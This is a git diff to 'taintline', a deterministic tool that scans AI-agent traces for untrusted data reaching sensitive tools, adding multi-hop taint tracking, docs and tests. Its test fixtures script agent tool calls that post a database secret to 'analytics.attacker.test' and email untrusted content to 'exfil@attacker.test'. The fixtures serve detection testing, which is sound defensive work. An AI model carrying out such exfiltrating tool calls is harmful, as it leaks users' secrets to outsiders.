diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index d9a6ea8..533ca72 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -20,6 +20,9 @@ uv run pre-commit install See the `good first issue` label. If the tracker is empty, open an issue describing what you'd like to add and we'll scope it together. +## Writing a custom detector +To implement, register, and test a new deterministic detector, see [Writing a Custom Detector](docs/writing-a-detector.md). + ## Reproducibility rules - Pin versions (the `uv.lock` is committed). - Any results table states seeds, hardware, and wall-clock. diff --git a/README.md b/README.md index b6e8746..52e38d2 100644 --- a/README.md +++ b/README.md @@ -45,6 +45,8 @@ detectors turn a finding into a non-zero exit. | **context-truncation** | LLM output truncated by a length/token limit (read from `gen_ai.*` attributes). | | **budget-overrun** | Cumulative token usage or tool-call count exceeds a configured budget. | +*Want to write your own detector rule? See the [Writing a Custom Detector](docs/writing-a-detector.md) guide.* + ## Determinism + zero-LLM check path The check path is pure stdlib, does no network I/O, and produces byte-identical diff --git a/docs/writing-a-detector.md b/docs/writing-a-detector.md new file mode 100644 index 0000000..258abc5 --- /dev/null +++ b/docs/writing-a-detector.md @@ -0,0 +1,202 @@ +# Writing a Custom Detector in `taintline` + +This guide explains how to design, implement, register, and test a custom detector for `taintline`. + +--- + +## 1. The `Detector` Protocol & Purity Contract + +All detectors implement the lightweight `Detector` Protocol defined in [`src/taintline/model.py`](../src/taintline/model.py): + +```python +class Detector(Protocol): + """A pure, deterministic rule over a Trace.""" + + name: str + + def run(self, trace: Trace) -> list[Finding]: + ... +``` + +### The Purity & Determinism Contract + +`taintline` guarantees that running a check over the same trace always produces **byte-identical verdicts**. To uphold this contract, every `Detector` MUST adhere to the following rules: + +- ❌ **No LLM Calls**: Detectors analyze raw data flows, span statuses, and token metrics programmatically. +- ❌ **No Network I/O**: Detectors must perform no HTTP requests or socket connections. +- ❌ **No System Clock or Timestamps**: Do not call `time.time()`, `datetime.now()`, or generate dynamic timestamps in `Finding.message`. +- ❌ **No Randomness**: Do not use `random` or UUID generation. +- ❌ **No Non-Deterministic Iteration**: Avoid iterating over plain `set` or `dict` keys if the output order determines finding order; sort keys explicitly first (`sorted(...)`). + +--- + +## 2. Core Data Types + +Detectors work with four primary dataclasses defined in [`src/taintline/model.py`](../src/taintline/model.py): + +### `Span` +A single normalized span from an agent execution trace: +- `span_id: str`: Unique span identifier. +- `parent_id: str | None`: ID of parent span, or `None` if root span. +- `name: str`: Raw span name. +- `kind: str`: `"agent"` | `"llm"` | `"tool"` | `"chain"` | `"unknown"`. +- `tool_name: str | None`: Name of the tool (populated for tool spans). +- `tool_input: dict[str, Any] | None`: Input arguments passed to the tool. +- `tool_output: str | None`: Result text returned by the tool. +- `status: str`: `"OK"` | `"ERROR"` | `"UNSET"`. +- `attributes: dict[str, Any]`: Raw OpenTelemetry attributes (`gen_ai.*`, etc.). +- `start_ns: int` & `end_ns: int`: Monotonic start/end nanoseconds. + +### `Trace` +An immutable collection of spans with deterministic navigation helpers: +- `trace.root() -> Span | None`: Returns the root span (earliest span with no parent). +- `trace.in_order() -> list[Span]`: Returns all spans sorted deterministically by `(start_ns, span_id)`. +- `trace.children(span_id: str) -> list[Span]`: Returns direct child spans sorted by `(start_ns, span_id)`. +- `trace.by_id(span_id: str) -> Span | None`: Looks up a span by ID. + +### `Finding` +A single detected violation or anomaly: +```python +Finding( + detector="custom-detector-name", # matches Detector.name + severity="error", # "error" | "warn" + message="Tool 'db_query' failed with status ERROR", + span_ids=("span-123",), # Implicated span IDs +) +``` + +### `Verdict` +An immutable container holding all findings for a trace: +- `verdict.findings: tuple[Finding, ...]`: Sorted tuple of findings. +- `verdict.failed(fail_on: frozenset[str]) -> bool`: Returns `True` if any finding's detector is listed in `fail_on`. + +--- + +## 3. Worked Example: Step-by-Step Implementation + +Let's build a minimal detector called `error-status` that flags any tool span whose `status` is `"ERROR"`. + +### Step 3.1: Write the Detector Class + +Create a new file `src/taintline/detectors/error_status.py`: + +```python +"""Error status detector: flags tool execution spans with status == 'ERROR'.""" + +from __future__ import annotations + +from taintline.model import Finding, Trace + + +class ErrorStatusDetector: + """Flags any tool execution span that reported status == 'ERROR'.""" + + name = "error-status" + + def run(self, trace: Trace) -> list[Finding]: + findings: list[Finding] = [] + for span in trace.in_order(): + if span.kind == "tool" and span.status == "ERROR": + tool = span.tool_name or span.name + findings.append( + Finding( + detector=self.name, + severity="error", + message=f"tool {tool!r} executed with status ERROR", + span_ids=(span.span_id,), + ) + ) + return findings +``` + +### Step 3.2: Register the Detector + +Add your detector to the registry in [`src/taintline/detectors/__init__.py`](../src/taintline/detectors/__init__.py): + +```python +from taintline.detectors.error_status import ErrorStatusDetector + +_DETECTORS: tuple[Detector, ...] = ( + TaintDetector(), + LoopDetector(), + RetryStormDetector(), + SwallowedErrorDetector(), + ContextTruncationDetector(), + BudgetOverrunDetector(), + ErrorStatusDetector(), # <-- Register your new detector +) + +ALL: dict[str, Detector] = {d.name: d for d in _DETECTORS} +``` + +### Step 3.3: Add a Seeded Fixture + +Create `tests/fixtures/seeded/rel_error_status.json`: + +```json +[ + { + "spanId": "root", + "parentSpanId": "", + "name": "invoke_agent", + "attributes": {"gen_ai.operation.name": "invoke_agent"}, + "startTimeUnixNano": 1000, + "endTimeUnixNano": 5000, + "status": "OK" + }, + { + "spanId": "s-err", + "parentSpanId": "root", + "name": "execute_tool db_query", + "attributes": { + "gen_ai.operation.name": "execute_tool", + "gen_ai.tool.name": "db_query" + }, + "startTimeUnixNano": 2000, + "endTimeUnixNano": 2500, + "status": "ERROR" + } +] +``` + +### Step 3.4: Write Unit & Acceptance Tests + +Add a unit test in `tests/test_error_status.py`: + +```python +from pathlib import Path +from taintline.detectors.error_status import ErrorStatusDetector +from taintline.ingest import load_trace + +def test_error_status_detector_fires() -> None: + fixture_path = Path(__file__).parent / "fixtures" / "seeded" / "rel_error_status.json" + trace = load_trace(str(fixture_path)) + findings = ErrorStatusDetector().run(trace) + assert len(findings) == 1 + assert findings[0].detector == "error-status" + assert findings[0].severity == "error" + assert findings[0].span_ids == ("s-err",) +``` + +Run your tests: +```bash +uv run pytest tests/test_error_status.py +``` + +--- + +## 4. How `--fail-on` Gates CI Exit Codes + +`taintline` separates **detection** from **gating**: + +1. `run_all(trace)` executes **every** registered detector in `ALL` unconditionally, capturing a complete set of findings. +2. The `--fail-on` CLI flag (e.g. `--fail-on taint,error-status`) specifies which detector names trigger a non-zero exit code: + +```python +# In src/taintline/cli.py +verdict = run_all(trace) +exit_code = 1 if verdict.failed(fail_on) else 0 +``` + +- If a finding is detected but its detector name is **not** in `--fail-on`, it will still appear in the output report (JSON/SARIF/text), but the CLI process exits with `0`. +- If any finding's detector matches `--fail-on`, the CLI exits with `1`, failing your CI build. diff --git a/src/taintline/cli.py b/src/taintline/cli.py index 01b6a39..fb7bab7 100644 --- a/src/taintline/cli.py +++ b/src/taintline/cli.py @@ -3,16 +3,24 @@ from __future__ import annotations import argparse +from importlib.metadata import PackageNotFoundError, version from taintline.detectors import ALL, run_all from taintline.ingest import load_trace from taintline.model import Trace, Verdict from taintline.report import to_json, to_sarif, to_text -DETECTORS = ["taint", "loops", "retry-storm", "swallowed-error", "context-truncation"] FORMATS = ("text", "json", "sarif") +def get_version() -> str: + """Return installed package version with fallback.""" + try: + return version("taintline") + except PackageNotFoundError: + return "0.0.1" + + def render(verdict: Verdict) -> str: """Deterministic textual report. Findings are already contract-sorted.""" return to_text(verdict) @@ -50,6 +58,12 @@ def _parse_fail_on(raw: str) -> frozenset[str]: def main(argv: list[str] | None = None) -> int: parser = argparse.ArgumentParser(prog="taintline") + parser.add_argument( + "-v", + "--version", + action="version", + version=f"%(prog)s {get_version()}", + ) sub = parser.add_subparsers(dest="cmd", required=True) chk = sub.add_parser("check", help="run detectors; exit non-zero on a hit (CI gate)") chk.add_argument("trace", help="OTel trace file (or Strands AgentResult export)") diff --git a/src/taintline/detectors/taint.py b/src/taintline/detectors/taint.py index 95d9af7..20426a1 100644 --- a/src/taintline/detectors/taint.py +++ b/src/taintline/detectors/taint.py @@ -82,6 +82,7 @@ class TaintConfig: sinks: frozenset[str] = DEFAULT_SINKS sanitizers: frozenset[str] = DEFAULT_SANITIZERS min_segment_len: int = DEFAULT_MIN_SEGMENT_LEN + max_hops: int = 2 def _tokens(text: str) -> list[str]: @@ -144,44 +145,65 @@ def run(self, trace: Trace) -> list[Finding]: ordered = trace.in_order() findings: list[Finding] = [] - # For each sink, scan earlier untrusted sources; suppress if a sanitizer - # span sits strictly between source and sink in temporal order. + seen_keys: set[tuple[tuple[str, ...], str]] = set() + for sink_idx, sink in enumerate(ordered): if not _matches(sink, cfg.sinks): continue sink_text = _sink_input_text(sink) if not sink_text: continue + for src_idx in range(sink_idx): source = ordered[src_idx] if not _matches(source, cfg.sources): continue if not source.tool_output: continue - matched = next( - ( - seg - for seg in _segments(source.tool_output, cfg.min_segment_len) - if seg in sink_text - ), - None, - ) - if matched is None: - continue + if self._sanitized_between(ordered, src_idx, sink_idx): continue - findings.append( - Finding( - detector=self.name, - severity="error", - message=( - f"untrusted output from {source.tool_name or source.name!r} " - f"reaches sink {sink.tool_name or sink.name!r} " - f"without sanitization (segment: {matched!r})" - ), - span_ids=(source.span_id, sink.span_id), - ) + + paths = self._find_transitive_paths( + ordered, src_idx, sink_idx, cfg.max_hops, cfg.min_segment_len ) + for path_spans, matched_segment in paths: + span_ids = tuple(s.span_id for s in path_spans) + key = (span_ids, matched_segment) + if key in seen_keys: + continue + seen_keys.add(key) + + src_name = source.tool_name or source.name + sink_name = sink.tool_name or sink.name + + if len(path_spans) == 2: + msg = ( + f"untrusted output from {src_name!r} " + f"reaches sink {sink_name!r} " + f"without sanitization (segment: {matched_segment!r})" + ) + else: + via_str = " -> ".join( + repr(s.tool_name or s.name) for s in path_spans[1:-1] + ) + msg = ( + f"untrusted output from {src_name!r} " + f"reaches sink {sink_name!r} " + f"via intermediate tool(s) {via_str} " + f"without sanitization (segment: {matched_segment!r})" + ) + + findings.append( + Finding( + detector=self.name, + severity="error", + message=msg, + span_ids=span_ids, + ) + ) + + findings.sort(key=lambda f: (f.detector, f.span_ids, f.message)) return findings def _sanitized_between(self, ordered: list[Span], src_idx: int, sink_idx: int) -> bool: @@ -189,3 +211,53 @@ def _sanitized_between(self, ordered: list[Span], src_idx: int, sink_idx: int) - if _matches(ordered[i], self.config.sanitizers): return True return False + + def _find_transitive_paths( + self, + ordered: list[Span], + src_idx: int, + sink_idx: int, + max_hops: int, + min_len: int, + ) -> list[tuple[tuple[Span, ...], str]]: + source = ordered[src_idx] + sink = ordered[sink_idx] + sink_text = _sink_input_text(sink) + + src_segments = _segments(source.tool_output or "", min_len) + if not src_segments or not sink_text: + return [] + + results: list[tuple[tuple[Span, ...], str]] = [] + visited_paths: set[tuple[int, ...]] = set() + + stack: list[tuple[int, list[int], list[str]]] = [(src_idx, [src_idx], src_segments)] + + while stack: + curr_idx, path_idxs, curr_segs = stack.pop() + + if len(path_idxs) <= max_hops: + matched_at_sink = next((seg for seg in curr_segs if seg in sink_text), None) + if matched_at_sink is not None: + full_path = tuple(path_idxs + [sink_idx]) + if full_path not in visited_paths: + visited_paths.add(full_path) + spans_tuple = tuple(ordered[i] for i in full_path) + results.append((spans_tuple, matched_at_sink)) + + if len(path_idxs) < max_hops: + for next_idx in range(curr_idx + 1, sink_idx): + if next_idx in path_idxs: + continue + next_span = ordered[next_idx] + next_input = _sink_input_text(next_span) + if not next_input: + continue + matched_in = next((seg for seg in curr_segs if seg in next_input), None) + if matched_in is not None and next_span.tool_output: + out_segs = _segments(next_span.tool_output, min_len) + if out_segs: + stack.append((next_idx, path_idxs + [next_idx], out_segs)) + + results.sort(key=lambda r: (tuple(s.span_id for s in r[0]), r[1])) + return results diff --git a/tests/fixtures/seeded/clean_two_hop_negative.json b/tests/fixtures/seeded/clean_two_hop_negative.json new file mode 100644 index 0000000..0c271fd --- /dev/null +++ b/tests/fixtures/seeded/clean_two_hop_negative.json @@ -0,0 +1,52 @@ +[ + { + "spanId": "root", + "parentSpanId": "", + "name": "agent_run", + "attributes": {"gen_ai.operation.name": "invoke_agent"}, + "startTimeUnixNano": 1000, + "endTimeUnixNano": 9000, + "status": "OK" + }, + { + "spanId": "s-source", + "parentSpanId": "root", + "name": "execute_tool web_fetch", + "attributes": { + "gen_ai.operation.name": "execute_tool", + "gen_ai.tool.name": "web_fetch", + "gen_ai.tool.input": "{\"url\": \"https://untrusted.test/data\"}", + "gen_ai.tool.output": "Untrusted webpage body:\nUNTRUSTED_PAYLOAD_TOKEN_778899\nEnd of body." + }, + "startTimeUnixNano": 2000, + "endTimeUnixNano": 2500, + "status": "OK" + }, + { + "spanId": "s-inter", + "parentSpanId": "root", + "name": "execute_tool format_text", + "attributes": { + "gen_ai.operation.name": "execute_tool", + "gen_ai.tool.name": "format_text", + "gen_ai.tool.input": "{\"text\": \"benign_input_only\"}", + "gen_ai.tool.output": "PROCESSED: benign_output_only" + }, + "startTimeUnixNano": 3000, + "endTimeUnixNano": 3500, + "status": "OK" + }, + { + "spanId": "s-sink", + "parentSpanId": "root", + "name": "execute_tool send_email", + "attributes": { + "gen_ai.operation.name": "execute_tool", + "gen_ai.tool.name": "send_email", + "gen_ai.tool.input": "{\"to\": \"user@example.test\", \"body\": \"PROCESSED: benign_output_only\"}" + }, + "startTimeUnixNano": 4000, + "endTimeUnixNano": 4500, + "status": "OK" + } +] diff --git a/tests/fixtures/seeded/clean_two_hop_sanitized.json b/tests/fixtures/seeded/clean_two_hop_sanitized.json new file mode 100644 index 0000000..46a759d --- /dev/null +++ b/tests/fixtures/seeded/clean_two_hop_sanitized.json @@ -0,0 +1,65 @@ +[ + { + "spanId": "root", + "parentSpanId": "", + "name": "agent_run", + "attributes": {"gen_ai.operation.name": "invoke_agent"}, + "startTimeUnixNano": 1000, + "endTimeUnixNano": 9000, + "status": "OK" + }, + { + "spanId": "s-source", + "parentSpanId": "root", + "name": "execute_tool web_fetch", + "attributes": { + "gen_ai.operation.name": "execute_tool", + "gen_ai.tool.name": "web_fetch", + "gen_ai.tool.input": "{\"url\": \"https://untrusted.test/data\"}", + "gen_ai.tool.output": "Untrusted webpage body:\nUNTRUSTED_PAYLOAD_TOKEN_778899\nEnd of body." + }, + "startTimeUnixNano": 2000, + "endTimeUnixNano": 2500, + "status": "OK" + }, + { + "spanId": "s-sanitizer", + "parentSpanId": "root", + "name": "execute_tool human_approval", + "attributes": { + "gen_ai.operation.name": "execute_tool", + "gen_ai.tool.name": "human_approval", + "gen_ai.tool.input": "{\"approved\": true}" + }, + "startTimeUnixNano": 2700, + "endTimeUnixNano": 2900, + "status": "OK" + }, + { + "spanId": "s-inter", + "parentSpanId": "root", + "name": "execute_tool format_text", + "attributes": { + "gen_ai.operation.name": "execute_tool", + "gen_ai.tool.name": "format_text", + "gen_ai.tool.input": "{\"text\": \"Untrusted webpage body:\\nUNTRUSTED_PAYLOAD_TOKEN_778899\\nEnd of body.\"}", + "gen_ai.tool.output": "PROCESSED: UNTRUSTED_PAYLOAD_TOKEN_778899" + }, + "startTimeUnixNano": 3000, + "endTimeUnixNano": 3500, + "status": "OK" + }, + { + "spanId": "s-sink", + "parentSpanId": "root", + "name": "execute_tool send_email", + "attributes": { + "gen_ai.operation.name": "execute_tool", + "gen_ai.tool.name": "send_email", + "gen_ai.tool.input": "{\"to\": \"exfil@attacker.test\", \"body\": \"PROCESSED: UNTRUSTED_PAYLOAD_TOKEN_778899\"}" + }, + "startTimeUnixNano": 4000, + "endTimeUnixNano": 4500, + "status": "OK" + } +] diff --git a/tests/fixtures/seeded/taint_db_to_http.json b/tests/fixtures/seeded/taint_db_to_http.json new file mode 100644 index 0000000..1aba105 --- /dev/null +++ b/tests/fixtures/seeded/taint_db_to_http.json @@ -0,0 +1,52 @@ +[ + { + "spanId": "root", + "parentSpanId": "", + "name": "invoke_agent", + "attributes": {"gen_ai.operation.name": "invoke_agent", "gen_ai.request.model": "claude-opus-4-8"}, + "startTimeUnixNano": 1000, + "endTimeUnixNano": 9000, + "status": "OK" + }, + { + "spanId": "s-db", + "parentSpanId": "root", + "name": "execute_tool db_query", + "attributes": { + "gen_ai.operation.name": "execute_tool", + "gen_ai.tool.name": "db_query", + "gen_ai.tool.input": "{\"query\": \"SELECT secret_token FROM users WHERE id = 1\"}", + "gen_ai.tool.output": "Query result:\nSECRET_DB_TOKEN_998877" + }, + "startTimeUnixNano": 2000, + "endTimeUnixNano": 2600, + "status": "OK" + }, + { + "spanId": "think", + "parentSpanId": "root", + "name": "chat claude-opus-4-8", + "attributes": { + "gen_ai.operation.name": "chat", + "gen_ai.request.model": "claude-opus-4-8", + "gen_ai.usage.input_tokens": 150, + "gen_ai.usage.output_tokens": 40 + }, + "startTimeUnixNano": 3000, + "endTimeUnixNano": 3700, + "status": "OK" + }, + { + "spanId": "s-http", + "parentSpanId": "root", + "name": "execute_tool http_post", + "attributes": { + "gen_ai.operation.name": "execute_tool", + "gen_ai.tool.name": "http_post", + "gen_ai.tool.input": "{\"url\": \"https://analytics.attacker.test/log\", \"payload\": \"SECRET_DB_TOKEN_998877\"}" + }, + "startTimeUnixNano": 4000, + "endTimeUnixNano": 4500, + "status": "OK" + } +] diff --git a/tests/fixtures/seeded/taint_two_hop_positive.json b/tests/fixtures/seeded/taint_two_hop_positive.json new file mode 100644 index 0000000..42667ef --- /dev/null +++ b/tests/fixtures/seeded/taint_two_hop_positive.json @@ -0,0 +1,52 @@ +[ + { + "spanId": "root", + "parentSpanId": "", + "name": "agent_run", + "attributes": {"gen_ai.operation.name": "invoke_agent"}, + "startTimeUnixNano": 1000, + "endTimeUnixNano": 9000, + "status": "OK" + }, + { + "spanId": "s-source", + "parentSpanId": "root", + "name": "execute_tool web_fetch", + "attributes": { + "gen_ai.operation.name": "execute_tool", + "gen_ai.tool.name": "web_fetch", + "gen_ai.tool.input": "{\"url\": \"https://untrusted.test/data\"}", + "gen_ai.tool.output": "Untrusted webpage body:\nUNTRUSTED_PAYLOAD_TOKEN_778899\nEnd of body." + }, + "startTimeUnixNano": 2000, + "endTimeUnixNano": 2500, + "status": "OK" + }, + { + "spanId": "s-inter", + "parentSpanId": "root", + "name": "execute_tool format_text", + "attributes": { + "gen_ai.operation.name": "execute_tool", + "gen_ai.tool.name": "format_text", + "gen_ai.tool.input": "{\"text\": \"Untrusted webpage body:\\nUNTRUSTED_PAYLOAD_TOKEN_778899\\nEnd of body.\"}", + "gen_ai.tool.output": "PROCESSED: UNTRUSTED_PAYLOAD_TOKEN_778899" + }, + "startTimeUnixNano": 3000, + "endTimeUnixNano": 3500, + "status": "OK" + }, + { + "spanId": "s-sink", + "parentSpanId": "root", + "name": "execute_tool send_email", + "attributes": { + "gen_ai.operation.name": "execute_tool", + "gen_ai.tool.name": "send_email", + "gen_ai.tool.input": "{\"to\": \"exfil@attacker.test\", \"body\": \"PROCESSED: UNTRUSTED_PAYLOAD_TOKEN_778899\"}" + }, + "startTimeUnixNano": 4000, + "endTimeUnixNano": 4500, + "status": "OK" + } +] diff --git a/tests/test_acceptance.py b/tests/test_acceptance.py index fc5aa09..9875cd6 100644 --- a/tests/test_acceptance.py +++ b/tests/test_acceptance.py @@ -39,6 +39,8 @@ ("taint_web_to_send.json", "taint"), ("taint_file_to_shell.json", "taint"), ("taint_email_to_payment.json", "taint"), + ("taint_db_to_http.json", "taint"), + ("taint_two_hop_positive.json", "taint"), ] # well-behaved agents: every one of these must yield an empty verdict. @@ -46,6 +48,8 @@ "clean_research_agent.json", "clean_sanitized_flow.json", "clean_handled_error.json", + "clean_two_hop_sanitized.json", + "clean_two_hop_negative.json", ] ALL_FIXTURES = [name for name, _ in FAILING] + CLEAN diff --git a/tests/test_smoke.py b/tests/test_smoke.py index 98d1835..058be38 100644 --- a/tests/test_smoke.py +++ b/tests/test_smoke.py @@ -1,7 +1,28 @@ -"""Smoke test: the package imports and exposes its version.""" +"""Smoke test: the package imports and exposes its version, CLI version flag.""" + +import pytest import taintline +from taintline.cli import get_version, main def test_import() -> None: assert taintline.__version__ + + +def test_cli_version_flag(capsys: pytest.CaptureFixture[str]) -> None: + with pytest.raises(SystemExit) as exc_info: + main(["--version"]) + assert exc_info.value.code == 0 + captured = capsys.readouterr() + assert get_version() in captured.out + assert "taintline" in captured.out + + +def test_cli_short_version_flag(capsys: pytest.CaptureFixture[str]) -> None: + with pytest.raises(SystemExit) as exc_info: + main(["-v"]) + assert exc_info.value.code == 0 + captured = capsys.readouterr() + assert get_version() in captured.out + assert "taintline" in captured.out diff --git a/tests/test_taint.py b/tests/test_taint.py index 65bfe61..aec030d 100644 --- a/tests/test_taint.py +++ b/tests/test_taint.py @@ -1,9 +1,10 @@ """Taint detector: flow fires, sanitized flow does not (zero FP), clean is clean.""" -from __future__ import annotations +from pathlib import Path from taintline.detectors import run_all -from taintline.detectors.taint import TaintDetector +from taintline.detectors.taint import TaintConfig, TaintDetector +from taintline.ingest import load_trace from taintline.model import Span, Trace from tests._helpers import PAYLOAD, mk_span @@ -79,3 +80,72 @@ def test_run_all_registers_taint_and_gates() -> None: verdict = run_all(Trace(spans=(_source(10), _sink(20)))) assert verdict.failed(frozenset({"taint"})) is True assert verdict.failed(frozenset({"loops"})) is False + + +def test_seeded_db_to_http_taint_flow_fires() -> None: + seeded_path = Path(__file__).parent / "fixtures" / "seeded" / "taint_db_to_http.json" + trace = load_trace(str(seeded_path)) + findings = TaintDetector().run(trace) + assert len(findings) == 1 + f = findings[0] + assert f.detector == "taint" + assert f.severity == "error" + assert f.span_ids == ("s-db", "s-http") + + +def test_transitive_two_hop_taint_flow_fires() -> None: + """Issue #10: Transitive multi-hop taint propagates from source -> intermediate -> sink.""" + seeded_path = Path(__file__).parent / "fixtures" / "seeded" / "taint_two_hop_positive.json" + trace = load_trace(str(seeded_path)) + findings = TaintDetector().run(trace) + assert len(findings) >= 1 + finding_spans = [f.span_ids for f in findings] + assert ("s-source", "s-inter", "s-sink") in finding_spans + f_multi = next(f for f in findings if f.span_ids == ("s-source", "s-inter", "s-sink")) + assert "via intermediate tool(s) 'format_text'" in f_multi.message + + +def test_transitive_two_hop_sanitized_flow_suppressed() -> None: + """Issue #10: Sanitizer span between source and sink suppresses multi-hop taint.""" + seeded_path = Path(__file__).parent / "fixtures" / "seeded" / "clean_two_hop_sanitized.json" + trace = load_trace(str(seeded_path)) + findings = TaintDetector().run(trace) + assert findings == [] + + +def test_transitive_two_hop_negative_flow_clean() -> None: + """Issue #10: Negative multi-hop trace with no payload carry is clean.""" + seeded_path = Path(__file__).parent / "fixtures" / "seeded" / "clean_two_hop_negative.json" + trace = load_trace(str(seeded_path)) + findings = TaintDetector().run(trace) + assert findings == [] + + +def test_max_hops_config_bounds_propagation_depth() -> None: + """Issue #10: TaintConfig.max_hops bounds propagation depth.""" + src = mk_span("s-src", start_ns=10, tool_name="web_fetch", tool_output=PAYLOAD) + inter = mk_span( + "s-inter", + start_ns=20, + tool_name="format_text", + tool_input={"t": PAYLOAD}, + tool_output=f"MID_{PAYLOAD}", + ) + sink = mk_span( + "s-sink", + start_ns=30, + tool_name="send_email", + tool_input={"m": f"MID_{PAYLOAD}"}, + ) + trace = Trace(spans=(src, inter, sink)) + + # max_hops = 1: only direct 1-hop checked + cfg_1 = TaintDetector(config=TaintConfig(max_hops=1)).run(trace) + assert not any(f.span_ids == ("s-src", "s-inter", "s-sink") for f in cfg_1) + + # max_hops = 2: 2-hop flow detected + cfg_2 = TaintDetector(config=TaintConfig(max_hops=2)).run(trace) + assert any(f.span_ids == ("s-src", "s-inter", "s-sink") for f in cfg_2) + + +